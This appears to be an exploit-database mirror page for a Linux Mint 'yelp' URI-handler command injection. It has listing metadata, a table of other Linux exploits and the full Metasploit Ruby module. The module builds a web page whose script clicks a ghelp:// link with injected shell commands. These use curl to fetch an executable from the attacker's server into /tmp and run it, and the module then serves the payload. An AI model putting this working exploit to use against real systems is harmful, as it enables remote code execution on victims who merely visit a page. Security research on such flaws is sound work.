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"Linux Mint 18.3-19.1 - 'yelp' Command Injection"

Author

b1ack0wl

Platform

linux

Release date

2019-07-01

Release Date Title Type Platform Author
2019-07-03 "Serv-U FTP Server - prepareinstallation Privilege Escalation (Metasploit)" local linux Metasploit
2019-07-01 "PowerPanel Business Edition - Cross-Site Scripting" webapps linux "Joey Lane"
2019-07-01 "Linux Mint 18.3-19.1 - 'yelp' Command Injection" remote linux b1ack0wl
2019-06-26 "Nagios XI 5.5.6 - Magpie_debug.php Root Remote Code Execution (Metasploit)" remote linux Metasploit
2019-06-20 "Cisco Prime Infrastructure Health Monitor - TarArchive Directory Traversal (Metasploit)" remote linux Metasploit
2019-06-20 "Cisco Prime Infrastructure - Runrshell Privilege Escalation (Metasploit)" local linux Metasploit
2019-06-20 "Linux - Use-After-Free via race Between modify_ldt() and #BR Exception" dos linux "Google Security Research"
2019-06-18 "Serv-U FTP Server < 15.1.7 - Local Privilege Escalation" local linux "Guy Levin"
2019-06-17 "Exim 4.87 - 4.91 - Local Privilege Escalation" local linux "Marco Ivaldi"
2019-06-17 "Netperf 2.6.0 - Stack-Based Buffer Overflow" dos linux "Juan Sacco"
2019-06-14 "CentOS 7.6 - 'ptrace_scope' Privilege Escalation" local linux s4vitar
2019-06-11 "Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)" remote linux AkkuS
2019-06-10 "Ubuntu 18.04 - 'lxd' Privilege Escalation" local linux s4vitar
2019-06-05 "Exim 4.87 < 4.91 - (Local / Remote) Command Execution" remote linux "Qualys Corporation"
2019-06-05 "LibreNMS - addhost Command Injection (Metasploit)" remote linux Metasploit
2019-06-04 "Vim < 8.1.1365 / Neovim < 0.3.6 - Arbitrary Code Execution" local linux Arminius
2019-05-08 "NetNumber Titan ENUM/DNS/NP 7.9.1 - Path Traversal / Authorization Bypass" webapps linux MobileNetworkSecurity
2019-05-08 "MiniFtp - 'parseconf_load_setting' Buffer Overflow" local linux strider
2019-05-03 "Blue Angel Software Suite - Command Execution" remote linux "Paolo Serracino_ Pietro Minniti_ Damiano Proietti"
2019-05-02 "Ruby On Rails - DoubleTap Development Mode secret_key_base Remote Code Execution (Metasploit)" remote linux Metasploit
2019-05-01 "CentOS Web Panel 0.9.8.793 (Free) / v0.9.8.753 (Pro) / 0.9.8.807 (Pro) - Domain Field (Add DNS Zone) Cross-Site Scripting" webapps linux DKM
2019-04-30 "Linux - Missing Locking Between ELF coredump code and userfaultfd VMA Modification" dos linux "Google Security Research"
2019-04-26 "systemd - DynamicUser can Create setuid Binaries when Assisted by Another Process" dos linux "Google Security Research"
2019-04-23 "Linux - 'page->_refcount' Overflow via FUSE" dos linux "Google Security Research"
2019-04-23 "Linux - Missing Locking in Siemens R3964 Line Discipline Race Condition" dos linux "Google Security Research"
2019-04-23 "systemd - Lack of Seat Verification in PAM Module Permits Spoofing Active Session to polkit" dos linux "Google Security Research"
2019-04-19 "SystemTap 1.3 - MODPROBE_OPTIONS Privilege Escalation (Metasploit)" local linux Metasploit
2019-04-12 "Zimbra Collaboration - Autodiscover Servlet XXE and ProxyServlet SSRF (Metasploit)" remote linux Metasploit
2019-04-08 "CentOS Web Panel 0.9.8.793 (Free) / 0.9.8.753 (Pro) - Cross-Site Scripting" webapps linux DKM
2019-04-08 "Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation" local linux cfreal
Release Date Title Type Platform Author
2019-07-01 "Linux Mint 18.3-19.1 - 'yelp' Command Injection" remote linux b1ack0wl
2019-01-29 "MiniUPnPd 2.1 - Out-of-Bounds Read" dos linux b1ack0wl
2016-09-04 "Belkin F9K1122v1 1.00.30 - Buffer Overflow (via Cross-Site Request Forgery)" webapps hardware b1ack0wl
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47047/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/47047/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47047/41446/linux-mint-183-191-yelp-command-injection/download/", "exploit_id": "47047", "exploit_description": "\"Linux Mint 18.3-19.1 - 'yelp' Command Injection\"", "exploit_date": "2019-07-01", "exploit_author": "b1ack0wl", "exploit_type": "remote", "exploit_platform": "linux", "exploit_port": null}
                                            

For full documentation follow the link above

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# Exploit from github repro: https://github.com/b1ack0wl/linux_mint_poc
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Linux Mint 'yelp' URI handler command injection vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability within the "ghelp", "help" and "man" URI handlers within 
          Linux Mint's "ubuntu-system-adjustments" package. Invoking any one the URI handlers will call 
          the python script "/usr/local/bin/yelp" with the contents of the supplied URI handler as its argument. 
          The script will then search for the strings "gnome-help" or "ubuntu-help" and if doesn't find either 
          of them it'll then execute os.system("/usr/bin/yelp %s" % args). User interaction is required to exploit 
          this vulnerability.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'b1ack0wl' # vuln discovery and exploit dev
        ],
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'WfsDelay' => 60
        },
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Linux Mint 18.3 and 19.1',
            {
              'Arch' => ARCH_X64
            } 
          ]
        ],
      'Privileged'     => false,
      'DefaultTarget'  => 0))
  end

  def generate_exploit_html()
    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = datastore['LHOST']
    else
      srv_host = datastore['SRVHOST']
    end
    @filename = rand_text_alpha(4)
    cmd_inj = "curl http://#{srv_host}:#{datastore['SRVPORT']}/#{@service_path} -o /tmp/#{@filename};chmod 777 /tmp/#{@filename};/tmp/#{@filename} &".gsub(' ','$IFS$()') # Cheap way to add spaces since chrome percent encodes spaces (%20).
    html = %Q|
    <html>
    <head>
      <meta content="text/html;charset=utf-8" http-equiv="Content-Type">
      <meta content="utf-8" http-equiv="encoding">
      <title>paparoachfanclubdotcom</title>
    </head>
    <body>
    <script>
      lmao = document.createElement('a');
      lmao.href= "ghelp://$(#{cmd_inj})";
      document.body.appendChild(lmao); /* Needed to work with Firefox */
      lmao.click();
    </script>
    </body>
    </html>
    |
    return html
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    if agent =~ /curl\/\d/
      # Command has been executed. Serve up the payload
      exe_payload = generate_payload_exe()
      print_status("Sending payload...")
      send_response(cli, exe_payload)
      register_file_for_cleanup("/tmp/#{@filename}")
      return
    else
      html = generate_exploit_html()
      print_status("Sending HTML...")
      send_response(cli, html, {'Content-Type'=>'text/html'})
    end
  end
end